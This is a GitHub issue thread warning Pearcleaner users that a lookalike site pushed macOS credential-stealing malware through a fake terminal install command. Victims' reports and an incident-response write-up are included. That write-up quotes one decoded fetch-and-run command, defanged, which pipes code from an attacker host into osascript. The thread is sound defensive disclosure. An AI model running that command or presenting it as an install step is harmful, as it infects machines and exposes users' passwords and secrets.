Repository navigation
Malicious site pearcleaner.com impersonating this project (confirmed malware, 12/92 on VirusTotal) #592
Description
Heads up: pearcleaner.com is not affiliated with this project and is
distributing macOS malware under the Pearcleaner name. It ranks well in
search results and mimics the README (Homebrew / git clone / DMG tabs), so
users are landing there instead of GitHub.
I got hit this morning (2026-07-30, 07:22 CEST). The installer never installs
Pearcleaner — it drops a payload and deletes itself.
[same technical detail as above]
12/92 engines on VirusTotal flag the domain. Reported to Google Safe Browsing.
Might be worth a warning in the README pointing to the only official sources
(GitHub Releases / brew install --cask pearcleaner), since the fake site
borrows your project's structure closely enough to be convincing.
Activity
Antoinenz commentedon Aug 3, 2026
looks like the site got taken down btw
Zacharyii commentedon Aug 7, 2026
Unfortunately, today I accidentally visited that website. I thought it was the official website, so I executed their command-line instructions. It asked me to enter my computer’s password and provided access to additional information. But I immediately realized it was a virus, so I refused and terminated the process. Later, I found that the virus had accessed a lot of information on my computer, including my passwords and databases from various applications.
buzzzzz192 commentedon Aug 23, 2026
hey guys, unfortunatley the same has happened to me just now but unfortunately i did give it the password adn it executed something. i dnt know what can be doen to fix it now. Any help please?
RobinWts commentedon Sep 2, 2026
Attention: This Problem persists, the site delivers Atomic macOS Stealer via a masked terminal install.
DO NOT USE!
manuelpoelzl commentedon Sep 15, 2026
I highly encourage anyone here to use cloudlare 1.1.1.2 and 1.0.0.2 as your DNS servers. This is what saved me.
Was visiting the site and immediately got hit with a ERR_CONNECTION_REFUSED, gave the url to virustotal and it confirmed there was malware on it.
Endromia-9027 commentedon Sep 28, 2026
lucky me I clicked the CTA at the bottom of the page which redirected me to the releases of the official repo, however the one on the navbar and the top were redirecting to other harmful sites.
ali90h commentedon Oct 24, 2026
Incident follow-up: host-side evidence from the fake Pearcleaner site (24 Oct 2026)
Adding a confirmed local execution case to this issue, with artifacts collected during incident response.
Environment: Apple Silicon MacBook Pro, macOS 26.6.2.
Observed timeline (local time, UTC+3):
The terminal command obtained from the fake installation flow was Base64-obfuscated. Offline decoding revealed a pipeline equivalent to:
curl -sfL hxxps://kernelops[.]pro/ | osascript -l JavaScript
Do not execute this command.
Key host artifacts:
Gatekeeper and SIP were enabled. A point-in-time network inspection did not reveal an active connection for that PID. We did not recover the remote JavaScript payload or establish whether data was exfiltrated. Malware-family attribution remains unverified.
Response: Network isolation, manual termination of the suspicious process, selective backup of essential files, and successful erasure of the macOS APFS system/data volume group from Recovery. Clean OS installation and credential recovery are the next steps.
Takeaway: A convincing lookalike download site led to executable code running with user-level access and an enabled background registration. Verify installation instructions against the upstream project before running terminal commands. If a password was entered, treat locally accessible credentials and development secrets as potentially exposed.
The legitimate Pearcleaner project is alienator88/Pearcleaner; its maintainer identifies itsalin.com as the official website.
I can share additional sanitized indicators if useful. Raw forensic bundles are being kept private because they include local paths and potentially sensitive environment details.